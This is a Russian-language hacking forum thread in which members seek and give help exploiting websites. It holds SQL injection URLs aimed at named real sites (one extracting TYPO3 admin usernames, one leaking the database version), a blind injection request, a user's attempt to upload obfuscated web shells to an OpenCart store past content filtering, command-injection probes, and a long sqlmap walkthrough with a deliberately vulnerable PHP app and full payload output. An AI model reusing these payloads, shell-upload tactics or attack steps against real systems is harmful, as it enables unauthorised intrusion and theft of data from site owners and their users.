HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.02.2021, 15:06
fandor9
Постоянный
Регистрация: 16.11.2018
Сообщений: 620
Провел на форуме:
169390

Репутация: 47


По умолчанию

Цитата:
Сообщение от b3  

Код:
sh -c grep SYN_RECV /tmp/check_ddos.res | awk {'print $5'}
Есть такой скрипт от рута, кто хорошо дружит с AWK подскажите есть ли возможность исполнить свой код, или записать в файл данные подставленные в $5? При условии что Файл доступен на запись
из man awk:
Код:
print                 Print the current record.  The output record is terminated with the value of ORS.

       print expr-list       Print expressions.  Each expression is separated by the value of OFS.  The output record is terminated with the value of ORS.

       print expr-list >file Print expressions on file.  Each expression is separated by the value of OFS.  The output record is terminated with the value of
                             ORS.

       printf fmt, expr-list Format and print.  See The printf Statement, below.

       printf fmt, expr-list >file
                             Format and print on file.
на мой взгляд нет, так как вы не имеете возможность манипулировать саму строку для awk. Получается что-то вроде prepared statements для скули, даже если параметры манипулировать, то они не исполняются.

Код:
test@test: cat /tmp/check_ddos.res
SYN_RECV `whoami` ;whoami |whoami $(whoami) &&whoami ;{whoami}
test@test: grep SYN_RECV /tmp/check_ddos.res | awk {'print $1 $2 $3 $4 $5 $6 $7'}
SYN_RECV`whoami`;whoami|whoami$(whoami)&&whoami;{whoami}
 
Ответить с цитированием

  #2  
Старый 24.02.2021, 11:30
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
По умолчанию

подскажите как limit можно обойти?

Код:
https://www.diakoneo.de/?tx_auwpagesmeta_pagecollector[tagevent][]=25,auw_pages_meta_tag)and(extractvalue/*a*/(null,concat/*a*/(1,(select+username+from+be_users+limit+0,1))))%23
 
Ответить с цитированием

  #3  
Старый 28.02.2021, 21:05
polzunki
Новичок
Регистрация: 28.07.2020
Сообщений: 21
Провел на форуме:
7210

Репутация: 0
По умолчанию

Доброго всем.

Opencart. Версия не известна.

Могу залить файлы через catalog/download

Но, только те, что закодированы ионкубом. При переходе по ссылке, отображается закодированный код.

Так же если меняю расширение на wso.php.jpg файл не заливается. Проверка идёт по содержимому заливаемого файла.

Перепробовал все обфусцированные шеллы, что только смог найти, заливаются только те, где не содержится $dPassword
 
Ответить с цитированием

  #4  
Старый 28.02.2021, 22:43
fandor9
Постоянный
Регистрация: 16.11.2018
Сообщений: 620
Провел на форуме:
169390

Репутация: 47


По умолчанию

[QUOTE="polzunki"]

И просьба подсказать, как зайти на этот шелл?
[CODE]
$dPassword$dPassword.

Потомм данные d ксорятся с ключом pass, распаковываются и выполняются.
 
Ответить с цитированием

  #5  
Старый 03.03.2021, 12:12
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
По умолчанию

Помогите раскрутить

Код:
https://www.illingen.de/corona'
 
Ответить с цитированием

  #6  
Старый 03.03.2021, 16:02
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Цитата:
Сообщение от DezMond™  

Помогите раскрутить
Код:
https://www.illingen.de/corona'
_ww.illingen.de/corona')or(ExtractValue(1,concat_ws(0x3a,version() )))=('1

Цитата:
Сообщение от None  
XPATH syntax error: '.33-0ubuntu0.16.04.1'
 
Ответить с цитированием

  #7  
Старый 08.03.2021, 14:17
eminlayer7788
Участник форума
Регистрация: 31.07.2015
Сообщений: 111
Провел на форуме:
36807

Репутация: 1
По умолчанию

Hi

Can u help to bypass and contunie this sqli with sqlmap ?

.SpoilerTarget" type="button">Spoiler: POST request
POST /sendtwofactor.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: https://setup.sk/

Cookie: PHPSESSID=961073f8435f8bee3b34b3e6b4ff6c48;lng=en

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 40

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari>

Host: setup.sk

Connection: Keep-alive

login=if(now()=sysdate()%2Csleep(6)%2C0)

at this moment sqlmap can not dump dbs, and I tried some tamper scripts also

Thanks !
 
Ответить с цитированием

  #8  
Старый 18.03.2021, 23:08
Duble
Познающий
Регистрация: 28.10.2015
Сообщений: 59
Провел на форуме:
15943

Репутация: 0
По умолчанию

Добрый день, подскажите пожалуйста.

Есть сайт, уязвимость в json нашел с помощью acunetix

Отчет такой

Код:
POST site.com/api/R/countTabs HTTP/1.1
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://site.com/
Cookie: sails.sid=s%3AIEeBmBWMv6pkUjHoX13K94m6bsxyZETu.mAjwObh334BpSZtHzJN1nY4HBjL%2Fiyt3uvwTjN6K5pQ;rtl=0;noAuthLanguage=%7B%22languageId%22%3A2%2C%22languageName%22%3A%22ru%22%7D;44cc0ec1aaa79f8d1d2757739ec41b84=1;favorites=j%3A%5B%2216880%22%5D;csrftoken=uq60dSDyNfzDlNREVBpktbbTqAxQDhPrfH3WQqvmfCw8ZgcqVZkYF91wKftnxCcS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Host:site.com
Connection: Keep-alive

{"where":{"chart":{"not":"[]"},"invisible":"0 RLIKE (SELECT (CASE WHEN (1+1-2+000194=2+2-4+000194) THEN 1 ELSE 0x28 END)) -- "},"tab":"growth"}
Так вот, чем крутить такое? Точнее через что?
 
Ответить с цитированием

  #9  
Старый 20.03.2021, 21:50
fandor9
Постоянный
Регистрация: 16.11.2018
Сообщений: 620
Провел на форуме:
169390

Репутация: 47


По умолчанию

Цитата:
Сообщение от Duble  

Добрый день, подскажите пожалуйста.
Есть сайт, уязвимость в json нашел с помощью acunetix
Отчет такой
Код:
POST site.com/api/R/countTabs HTTP/1.1
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://site.com/
Cookie: sails.sid=s%3AIEeBmBWMv6pkUjHoX13K94m6bsxyZETu.mAjwObh334BpSZtHzJN1nY4HBjL%2Fiyt3uvwTjN6K5pQ;rtl=0;noAuthLanguage=%7B%22languageId%22%3A2%2C%22languageName%22%3A%22ru%22%7D;44cc0ec1aaa79f8d1d2757739ec41b84=1;favorites=j%3A%5B%2216880%22%5D;csrftoken=uq60dSDyNfzDlNREVBpktbbTqAxQDhPrfH3WQqvmfCw8ZgcqVZkYF91wKftnxCcS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Host:site.com
Connection: Keep-alive

{"where":{"chart":{"not":"[]"},"invisible":"0 RLIKE (SELECT (CASE WHEN (1+1-2+000194=2+2-4+000194) THEN 1 ELSE 0x28 END)) -- "},"tab":"growth"}
Так вот, чем крутить такое? Точнее через что?
так как стало самому интересно, решил потестить, в общем если коротко, то скульмап распознаёт что имеет дело с JSON, и указывать заголовки не обязательно. В том месте где находится инъекция (в вашем случае "invisible") вставляете просто звёздочку (*) и смотря что за запрос, можно поставить дефолтовое знание через prefix (например --prefix=0):

Код:
sqlmap -u 'http://site.com/api/R/countTabs' -H 'Content-Type: application/json;charset=UTF-8' --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --prefix=0
Что-бы потестить поднял простой скрипт:

.SpoilerTarget" type="button">Spoiler: Тестовая площадка
Данные в базе:

Код:
CREATE DATABASE testdb;
CREATE USER IF NOT EXISTS 'testuser'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON testdb.* TO 'testuser'@'localhost';
FLUSH PRIVILEGES;
CREATE TABLE users(id INT AUTO_INCREMENT PRIMARY KEY, firstname VARCHAR(255) NOT NULL, lastname VARCHAR(255) NOT NULL, active BOOLEAN NOT NULL DEFAULT FALSE);
INSERT INTO users(firstname,lastname,active) VALUES('Ivan','Test',0);
INSERT INTO users(firstname,lastname,active) VALUES('John','Doe',0);
INSERT INTO users(firstname,lastname,active) VALUES('Test','Admin',1);
Само "приложение" с JSON (естественно с отладкой и кривое и косое)...

Код:
connect_error) {
          die("Connection failed: " . $conn->connect_error);
    }
    echo "Connected successfully";
}catch(mysqli_sql_exception $e){
    throw $e;
}

# Deprecated since PHP5.6 and removed since PHP7
# https://www.php.net/manual/pt_BR/reserved.variables.httprawpostdata.php
#var_dump($HTTP_RAW_POST_DATA);

$inputJSON = file_get_contents('php://input');
var_dump($inputJSON);

$jsonOBJ = json_decode($inputJSON);

var_dump($jsonOBJ);

$invisible_var = $jsonOBJ->{"where"}->{"invisible"};

var_dump($invisible_var);

$sql = 'SELECT id,firstname,lastname FROM users WHERE active=' . $invisible_var;
printf("SQL query: ".$sql);
$conn->real_query($sql);
if ($result = $conn->use_result()) {
  foreach ($result as $row) {
    echo "\nid = " . $row['id'] . " firstname = " . $row['firstname'] . " lastname = " .$row['lastname'];
    }
    /* free result set */
  $result->close();
}

$conn->close();
?>
Поднимаем локальный пых-сервер в папке с "приложением" (у меня оно лежит под json_server.php)

Код:
php -S localhost:1234
Теперь тест от руки:

Код:
curl -X POST -d '{"where":{"chart":{"not":"[]"},"invisible":"0"},"tab":"growth"}' -H 'Content-Type: application/json;charset=UTF-8' http://localhost:1234/json_server.php
--------------------------------
Connected successfullystring(63) "{"where":{"chart":{"not":"[]"},"invisible":"0"},"tab":"growth"}"
object(stdClass)#4 (2) {
  ["where"]=>
  object(stdClass)#3 (2) {
    ["chart"]=>
    object(stdClass)#2 (1) {
      ["not"]=>
      string(2) "[]"
    }
    ["invisible"]=>
    string(1) "0"
  }
  ["tab"]=>
  string(6) "growth"
}
string(1) "0"
SQL query: SELECT id,firstname,lastname FROM users WHERE active=0
id = 1 firstname = Ivan lastname = Test
id = 2 firstname = John lastname = Doe
Теперь простейшая иньекция:

Код:
curl -X POST -d '{"where":{"chart":{"not":"[]"},"invisible":"0 OR 1=1"},"tab":"growth"}' -H 'Content-Type: application/json;charset=UTF-8' http://testserver:1234/json_server.php
------------------------------------
Connected successfullystring(70) "{"where":{"chart":{"not":"[]"},"invisible":"0 OR 1=1"},"tab":"growth"}"
object(stdClass)#4 (2) {
  ["where"]=>
  object(stdClass)#3 (2) {
    ["chart"]=>
    object(stdClass)#2 (1) {
      ["not"]=>
      string(2) "[]"
    }
    ["invisible"]=>
    string(8) "0 OR 1=1"
  }
  ["tab"]=>
  string(6) "growth"
}
string(8) "0 OR 1=1"
SQL query: SELECT id,firstname,lastname FROM users WHERE active=0 OR 1=1
id = 1 firstname = Ivan lastname = Test
id = 2 firstname = John lastname = Doe
id = 3 firstname = Test lastname = Admin
Дальше запускаем Бурп и в другой консоли/терминале запускаем скульмап:

Код:
sqlmap -u 'http://testserver:1234/json_server.php' --dbms=mysql --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --proxy='/'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[18:40:18] [INFO] flushing session file
[18:40:18] [INFO] testing connection to the target URL
[18:40:18] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:40:18] [INFO] testing if the target URL content is stable
[18:40:18] [INFO] target URL content is stable
[18:40:18] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[18:40:18] [WARNING] (custom) POST parameter 'JSON #1*' does not appear to be dynamic
[18:40:18] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[18:40:18] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[18:40:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:40:19] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:40:19] [INFO] testing 'Generic inline queries'
[18:40:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:40:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:40:19] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)                                                                                                                          
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[18:40:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:40:20] [WARNING] (custom) POST parameter 'JSON #1*' does not seem to be injectable
[18:40:20] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
При этом без прификса скульмап не смог раскрутить скулю

Код:
sqlmap -u 'http://testserver:1234/json_server.php' --dbms=mysql --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --proxy='/' --flush-session --prefix=0
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[18:43:08] [INFO] flushing session file
[18:43:08] [INFO] testing connection to the target URL
[18:43:08] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:43:08] [INFO] testing if the target URL content is stable
[18:43:09] [INFO] target URL content is stable
[18:43:09] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[18:43:09] [INFO] (custom) POST parameter 'JSON #1*' appears to be dynamic
[18:43:09] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[18:43:09] [INFO] heuristic (XSS) test shows that (custom) POST parameter 'JSON #1*' might be vulnerable to cross-site scripting (XSS) attacks
[18:43:09] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[18:43:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:43:09] [WARNING] reflective value(s) found and filtering out
[18:43:09] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:43:09] [INFO] testing 'Generic inline queries'
[18:43:09] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:43:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:43:09] [WARNING] time-based comparison requires larger statistical model, please wait......... (done)                
[18:43:19] [INFO] (custom) POST parameter 'JSON #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[18:43:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:43:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:43:25] [INFO] target URL appears to be UNION injectable with 3 columns
[18:43:25] [INFO] (custom) POST parameter 'JSON #1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"where":{"chart":{"not":"[]"},"invisible":"0 AND (SELECT 8656 FROM (SELECT(SLEEP(5)))iyJH)"},"tab":"growth"}

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: {"where":{"chart":{"not":"[]"},"invisible":"0 UNION ALL SELECT CONCAT(0x7170786b71,0x697a4b487962727759494a414871686b654176576663644e4b55574770616b786a66626f617a6d47,0x716b707871),NULL,NULL-- -"},"tab":"growth"}
---
[18:43:27] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.15
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
 
Ответить с цитированием

  #10  
Старый 21.03.2021, 07:28
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Цитата:
Сообщение от fandor9  

так как стало самому интересно, решил потестить, в общем если коротко, то скульмап распознаёт что имеет дело с JSON, и указывать заголовки не обязательно. В том месте где находится инъекция (в вашем случае "invisible") вставляете просто звёздочку (*) и смотря что за запрос, можно поставить дефолтовое знание через prefix (например --prefix=0):
Код:
sqlmap -u 'http://site.com/api/R/countTabs' -H 'Content-Type: application/json;charset=UTF-8' --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --prefix=0
Что-бы потестить поднял простой скрипт:
Spoiler: Тестовая площадка
Данные в базе:
Код:
CREATE DATABASE testdb;
CREATE USER IF NOT EXISTS 'testuser'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON testdb.* TO 'testuser'@'localhost';
FLUSH PRIVILEGES;
CREATE TABLE users(id INT AUTO_INCREMENT PRIMARY KEY, firstname VARCHAR(255) NOT NULL, lastname VARCHAR(255) NOT NULL, active BOOLEAN NOT NULL DEFAULT FALSE);
INSERT INTO users(firstname,lastname,active) VALUES('Ivan','Test',0);
INSERT INTO users(firstname,lastname,active) VALUES('John','Doe',0);
INSERT INTO users(firstname,lastname,active) VALUES('Test','Admin',1);
Само "приложение" с JSON (естественно с отладкой и кривое и косое)...
Код:
connect_error) {
          die("Connection failed: " . $conn->connect_error);
    }
    echo "Connected successfully";
}catch(mysqli_sql_exception $e){
    throw $e;
}

# Deprecated since PHP5.6 and removed since PHP7
# https://www.php.net/manual/pt_BR/reserved.variables.httprawpostdata.php
#var_dump($HTTP_RAW_POST_DATA);

$inputJSON = file_get_contents('php://input');
var_dump($inputJSON);

$jsonOBJ = json_decode($inputJSON);

var_dump($jsonOBJ);

$invisible_var = $jsonOBJ->{"where"}->{"invisible"};

var_dump($invisible_var);

$sql = 'SELECT id,firstname,lastname FROM users WHERE active=' . $invisible_var;
printf("SQL query: ".$sql);
$conn->real_query($sql);
if ($result = $conn->use_result()) {
  foreach ($result as $row) {
    echo "\nid = " . $row['id'] . " firstname = " . $row['firstname'] . " lastname = " .$row['lastname'];
    }
    /* free result set */
  $result->close();
}

$conn->close();
?>
Поднимаем локальный пых-сервер в папке с "приложением" (у меня оно лежит под json_server.php)
Код:
php -S localhost:1234
Теперь тест от руки:
Код:
curl -X POST -d '{"where":{"chart":{"not":"[]"},"invisible":"0"},"tab":"growth"}' -H 'Content-Type: application/json;charset=UTF-8' http://localhost:1234/json_server.php
--------------------------------
Connected successfullystring(63) "{"where":{"chart":{"not":"[]"},"invisible":"0"},"tab":"growth"}"
object(stdClass)#4 (2) {
  ["where"]=>
  object(stdClass)#3 (2) {
    ["chart"]=>
    object(stdClass)#2 (1) {
      ["not"]=>
      string(2) "[]"
    }
    ["invisible"]=>
    string(1) "0"
  }
  ["tab"]=>
  string(6) "growth"
}
string(1) "0"
SQL query: SELECT id,firstname,lastname FROM users WHERE active=0
id = 1 firstname = Ivan lastname = Test
id = 2 firstname = John lastname = Doe
Теперь простейшая иньекция:
Код:
curl -X POST -d '{"where":{"chart":{"not":"[]"},"invisible":"0 OR 1=1"},"tab":"growth"}' -H 'Content-Type: application/json;charset=UTF-8' http://testserver:1234/json_server.php
------------------------------------
Connected successfullystring(70) "{"where":{"chart":{"not":"[]"},"invisible":"0 OR 1=1"},"tab":"growth"}"
object(stdClass)#4 (2) {
  ["where"]=>
  object(stdClass)#3 (2) {
    ["chart"]=>
    object(stdClass)#2 (1) {
      ["not"]=>
      string(2) "[]"
    }
    ["invisible"]=>
    string(8) "0 OR 1=1"
  }
  ["tab"]=>
  string(6) "growth"
}
string(8) "0 OR 1=1"
SQL query: SELECT id,firstname,lastname FROM users WHERE active=0 OR 1=1
id = 1 firstname = Ivan lastname = Test
id = 2 firstname = John lastname = Doe
id = 3 firstname = Test lastname = Admin
Дальше запускаем Бурп и в другой консоли/терминале запускаем скульмап:
Код:
sqlmap -u 'http://testserver:1234/json_server.php' --dbms=mysql --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --proxy='/'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[18:40:18] [INFO] flushing session file
[18:40:18] [INFO] testing connection to the target URL
[18:40:18] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:40:18] [INFO] testing if the target URL content is stable
[18:40:18] [INFO] target URL content is stable
[18:40:18] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[18:40:18] [WARNING] (custom) POST parameter 'JSON #1*' does not appear to be dynamic
[18:40:18] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[18:40:18] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[18:40:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:40:19] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:40:19] [INFO] testing 'Generic inline queries'
[18:40:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:40:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:40:19] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)                                                                                                                         
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[18:40:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:40:20] [WARNING] (custom) POST parameter 'JSON #1*' does not seem to be injectable
[18:40:20] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
При этом без прификса скульмап не смог раскрутить скулю
Код:
sqlmap -u 'http://testserver:1234/json_server.php' --dbms=mysql --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --proxy='/' --flush-session --prefix=0
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[18:43:08] [INFO] flushing session file
[18:43:08] [INFO] testing connection to the target URL
[18:43:08] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:43:08] [INFO] testing if the target URL content is stable
[18:43:09] [INFO] target URL content is stable
[18:43:09] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[18:43:09] [INFO] (custom) POST parameter 'JSON #1*' appears to be dynamic
[18:43:09] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[18:43:09] [INFO] heuristic (XSS) test shows that (custom) POST parameter 'JSON #1*' might be vulnerable to cross-site scripting (XSS) attacks
[18:43:09] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[18:43:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:43:09] [WARNING] reflective value(s) found and filtering out
[18:43:09] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:43:09] [INFO] testing 'Generic inline queries'
[18:43:09] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:43:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:43:09] [WARNING] time-based comparison requires larger statistical model, please wait......... (done)               
[18:43:19] [INFO] (custom) POST parameter 'JSON #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[18:43:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:43:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:43:25] [INFO] target URL appears to be UNION injectable with 3 columns
[18:43:25] [INFO] (custom) POST parameter 'JSON #1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"where":{"chart":{"not":"[]"},"invisible":"0 AND (SELECT 8656 FROM (SELECT(SLEEP(5)))iyJH)"},"tab":"growth"}

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: {"where":{"chart":{"not":"[]"},"invisible":"0 UNION ALL SELECT CONCAT(0x7170786b71,0x697a4b487962727759494a414871686b654176576663644e4b55574770616b786a66626f617a6d47,0x716b707871),NULL,NULL-- -"},"tab":"growth"}
---
[18:43:27] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.15
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
Цитата:
Сообщение от Duble  

Добрый день, подскажите пожалуйста.
Есть сайт, уязвимость в json нашел с помощью acunetix
Отчет такой
Код:
POST site.com/api/R/countTabs HTTP/1.1
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://site.com/
Cookie: sails.sid=s%3AIEeBmBWMv6pkUjHoX13K94m6bsxyZETu.mAjwObh334BpSZtHzJN1nY4HBjL%2Fiyt3uvwTjN6K5pQ;rtl=0;noAuthLanguage=%7B%22languageId%22%3A2%2C%22languageName%22%3A%22ru%22%7D;44cc0ec1aaa79f8d1d2757739ec41b84=1;favorites=j%3A%5B%2216880%22%5D;csrftoken=uq60dSDyNfzDlNREVBpktbbTqAxQDhPrfH3WQqvmfCw8ZgcqVZkYF91wKftnxCcS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Host:site.com
Connection: Keep-alive

{"where":{"chart":{"not":"[]"},"invisible":"0 RLIKE (SELECT (CASE WHEN (1+1-2+000194=2+2-4+000194) THEN 1 ELSE 0x28 END)) -- "},"tab":"growth"}
Так вот, чем крутить такое? Точнее через что?
Можно было просто взять пакет запроса с акунектикса, в уязвимом параметре поставить звездочку, сохранить в файл и вызвать его параметром -r file.txt
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.